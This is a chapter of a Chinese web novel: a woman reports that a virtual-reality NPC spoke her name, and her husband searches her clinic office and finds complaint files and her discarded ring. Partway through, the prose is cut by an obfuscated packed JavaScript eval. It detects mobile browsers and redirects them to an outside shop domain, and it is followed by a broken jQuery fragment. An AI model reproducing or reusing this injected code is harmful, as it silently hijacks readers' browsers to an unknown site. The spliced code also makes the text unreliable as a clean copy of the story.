工作人员戴着两套模拟器离开了。
真不知道项廷开去做了什么,脸色居然比她还疲惫。此时外面是凌晨四点,天方微亮,非常安静,项廷开扭头看着发呆的安韵,不禁皱眉:“你怎么了?”
“我……”安韵话刚出口,又摇摇头,“我有点饿了。”
“你在拟境里去做什么了?”
“陪叶石曲玩。”
项廷开不至于跟一个小孩吃醋,似乎反倒很满意她这种安排,没说太多,走去厨房。
安韵站在原地,好久,才跌进沙发里。
……最后那一刻,唐恩好像叫了她的名字?
她发了会儿呆,接着打开拟境论坛。
原来有不少人被唐恩邀请玩这个无聊的音感游戏,而那一连串音调其实是各大著名古典曲的节选音段。
至于所谓“大礼包”,就是唐恩的再一次倾情演奏。
安韵翻来翻去,没发现有人提到“名字”的事。
如果没依他指令念出那串音调的话……看别人分享,唐恩只会站在原地黯然神伤,继续孤独地吹奏。
他真的是念了自己的名字吗?
为什么对她,唐恩是这种反应?
为什么只有她是这个经历?
其实如果单拿出被拟境NPC念出名字这件事,听起来好像也并不可怕,可当时——就是几分钟前的当时,那样的神情,那样的气氛,不知怎么让安韵的内心发毛,感受非常古怪。
她刷着论坛,又试图搜索这些NPC在技术上是如何被放入拟境里的……
但那一大堆术语她也看不懂,只能笼统理解为,就是北联第二现实创新中心的程序员之作。
说到底也是一串数据。
而身处其中的安韵,也是一串数据。在进入拟境前,她的真实身份就同里面的她绑定了,而拟境作为第二现实,每个人进去了其实都是在全力复刻现实中的自己……
唐恩喊她名字,或许就像其它普通游戏里的NPC小人,自动在对话框里输出用户账号名称一样?
好久,她才平静了些。思索片刻,老老实实在论坛的“管理板块”发了帖子编辑此事,毕竟有可能是系统出错,最好要让工作人员们知道才行。
然而很快,安韵就对自己这个举动心情复杂。
约莫才过了一个小时不到,她刚要睡着,通讯器就响了起来。安韵心有不安,立马接起,果然是创新中心工作人员的电话。
“您好,我们注意到了您在论坛发的贴子,标题是‘对唐恩音感游戏的反馈’,请问您是安韵小姐对吗?”
那边项廷开已经下床站在她面前了,脸色微黑,伸手好像就要夺走通讯器。安韵无心他的反应,对着那边说“是”。
“您可以详细阐述一下事情经过吗?”
“我……”
详细?怎么定义详细?
安韵从遇到唐恩的开头说起,每说一句就思考一下,那边的工作人员也不打断她。
终于要说到事情高潮处时,她声音一停,严谨地说:“其实,好像也不一定是在喊我的名字。当时太快了,我又即将退出拟境,感官反应不是那么精确,他的发音也有点像其他一些词汇……”
工作人员:“您能不能再把事情详细地阐述一遍呢?”
安韵正要开口,项廷开就夺走了电话。
背着光,她都能察觉出他神情有点沉重。
她有点愣地看着他的脸。
项廷开:“谁?”
安韵简短地介绍了一下事情经过,最后说:“把通讯器给我。”
这只是第一轮。
官方的问话仍在持续,等睡醒起来,安韵又接了几通电话。
这一天她休假,没有去基地,而本该出门上班的项廷开居然也莫名其妙留在家里,就面色不善地听着她接电话。
安韵被官方整得很迷糊,还发信息问万霆丽,万霆丽听了也觉得稀奇:“他真喊你名字啊?”
“我原本是确信的,但官方那边跟我说没有检测出什么技术漏洞。”安韵说,“我也不太清楚了。”
“嗯……谁知道呢?本来拟境就是个还需要完善的东西嘛,放宽心啦。”
终于,官方问话告一段落。
安韵要照常去上班了。
夜晚躺下时,听着身边人的动静,却有一个念头慢慢攀上心间。
项廷开这两天,也一直没出门。
·
“我出差?”
“对,你去一趟吧,鹿海区那边地理位置特殊,这次活动意义还是比较重大的。”
远海区特情精兵部队基地,二楼的会议室里,众人散去,只留下项廷开和一个alpha女性。
这个alpha女性是北联新上任的文宣部部长,同时,也是新上任的远海区特情精兵部队基地副部长。
这个时代,工作可使用的科技手段发达,并不是所有要员都居住在北联中心福城。
像上次施曼的事情发生后,有些人就被派来了远海区,她就是其一,任务是要加强远海区的安全科普工作。
项廷开看着屏幕上的内容。
鹿海区要举行军营建设的开工奠基典礼。
“不去。”他说。
“要去的。”alpha女性循循善诱,“哎呀,我真找不到人去了啊!你那个特殊任务耗了一年,那一年其他各个部门部长可分别把这些典礼出席了个够,这回轮到你,你别推卸了!”
“不去。”他淡淡摇头,“我最近不能离开。”
“得了吧,我还不知道你们部啊,全自动链条生产,人有什么可忙的啊!”
但项廷开沉默着,还是摇头。他面无表情时气场很是吓人,可她没有轻易后退,手指点点,翻出一个界面:
“不是我偏要命令,你看看,大家都在期待你啊。”
项廷开蹙眉,微微靠近。
新闻底下鱼龙混杂的一大堆讨论里,有那么几条。
“项xx一定要出席。”
“要让军工部长去。”
……什么鬼?
项廷开的眉头微松,又翻了一下。
他的手指微微一弹。
我有这么出名?
“民心所向呀!”文宣部部长说,“你的日程我知道,来回就两天,别再反抗了啊,选择合适的代表官员是文宣部职责所在,烦请您配合下。”
项廷开扯了扯嘴角,还是说:“不去。”
沉寂片刻。
“真的?好吧,”她有点遗憾,“让你去确实有点过了……”
“除非往后推几天,然后,”但项廷开却看着她,低声说,“帮我个忙吧。”
走出会议室,隐隐约约,能听见集合场上传来的声音。
项廷开平日很少来基地。算一算,现在项康言应该已经来基地报道,准备进行航天训练了。
但他没去看侄子,反倒往另一处走。
虽然没穿军装,但路过的几个军官都看出他地位不一般,连忙脱帽示意,项廷开一概没回,去了基地医院。
很少来基地的人,基地医院就更少来了。
项廷开路过几间诊室,接着慢慢停下,停在了“医生安韵”那间诊室前。
他先掀开外边儿那个信箱,发现里面躺着本干干净净的意见反馈表,项廷开轻哼了一声,直接开门进入。
安韵不知被派去哪儿,并不在里面。
他把门合上,然后脸不红气不喘地坐到办公椅上,非常理直气壮地拉开了抽屉。却不想一下还没拉开,好像被塞得很满,项廷开微微挑眉,加大力气,终于看见了里面放的东西。
他随便抽出一张,而后揭开——
投诉文件?
面无表情地看完后,项廷开放回去,又拆了一封,发现还是投诉文件。他脸上的表情淡了,垂眼看着满柜子整理得井井有条有条的文件,低低嗤了声:“傻子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665470|144112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他把抽屉拉上,但转瞬间,直觉一跳,定睛看去。
原来是那枚戒指。
项廷开微微怔忪,把它拾起来,放在桌子上。
戒指表面崭新光滑至极,已经完全没有被人戴着的痕迹了……
但是不是总比真的被丢了好?
他闭了闭眼,用两根手指捏住那枚戒指,发现它们堪堪能戴进自己的小拇指上,看着看着,喉结上下滑动,说不出心中什么滋味。
有那么些回忆凿进大脑,是比戒指箍着手更生硬的力度。
项廷开忽然想起了那次开庭。
“心理咨询”。
事后找人搜集来的全部记录就放在他军工部的办公室里,他没翻开过。
项廷开端坐了很久。
好像只要是安韵的事情他就容易喜怒形于色,要有观众看绝对觉得这是个神经病。
好半晌,生生从那些繁杂琐碎的想法中脱身,像个发现新大陆的没有素质的旅人,手到处在她办公室内乱动乱拨。
很快,那只戴着omega款婚戒的大手拿起被摆在办公桌边的相框——
这谁啊?
项廷开认了一会儿,发现好像是那个叫万霆丽的omega的小孩。
这都要放到办公桌上?
项廷开顿时有点不爽,也说不出来,叶石曲就算了,但这个小孩的照片都要占据一个相框,放在她没有一张结婚照的办公桌?一点装饰规划都没有。
他又冷冷哼了声:“傻子。”
这时通讯器响起,是同项廷开一起来特情精兵部队基地开会的下属李琛的消息。
方才会议上,李琛发现他负责保管的安全密钥落在家中,因为不便离席,就喊了自己恰好也在基地的儿子去取。
项廷开睨了眼信息。
“项部,你现在在哪?我儿子已经拿到密钥了,正在送东西的路上,等他到了我们就回军工部?”
“你在哪?”
“集合场。”
“我过去。”
项廷开仍然戴着那枚戒指,离开了安韵的办公室,来到集合场。
反正在一个不懂装饰规划的人那里,它永远会被压在一堆投诉文件下。
李琛眼细心细,看见他一手戴了两个戒指,控制着表情。
咋回事?
项廷开好像注意不到旁人的打量,事实上他根本也不在意,打断了李琛的道歉:“你儿子什么时候到?”
“很快了,还有几分钟。”
他微微颔首,没吭声,用余光观察着集合场。
李琛见状,问:“是在找谁吗?”
项廷开面瘫脸:“不是。”
差不多两分钟后,一个男孩跑过来了。
项廷开眯起眼睛,看过去。
李琛露出一种或骄傲或窘迫的笑容,扯过那个年轻alpha,立在项廷开面前:“部长,这是我儿子。”
“嗯。”
“顾永永!”李琛又低声说,“跟部长问好。”
那alpha说话懒洋洋的,他个头跟项廷开接近,脸庞年轻一些,也没有他那么冷峻犀利。被父亲一拍,总归是站直了:“部长——”
项廷开没说什么,接过密钥,而顾永永看见他的手,轻轻笑了声:
“戒指不错啊。”
李琛狠狠一拍,而项廷开一顿,终于正眼瞥了他一眼,但也没留下什么印象。随口应了声,就带着李琛走了。
顾永永打了个哈欠,走向与他们相反的方向。
晃着晃着,居然来到了安韵的诊室。
他摸了下头,没等心里冒出什么清晰明白的念头——比如,为什么要过来?为什么找她?他总跟着感觉行事——明明什么也没想清,第一眼就看见信箱的罩没合上。
不是吧?还真有人去填。
但意见表上空空如也。
顾永永没多想,“啪”的一声,干净、利落、仿若所有物地给它关上了。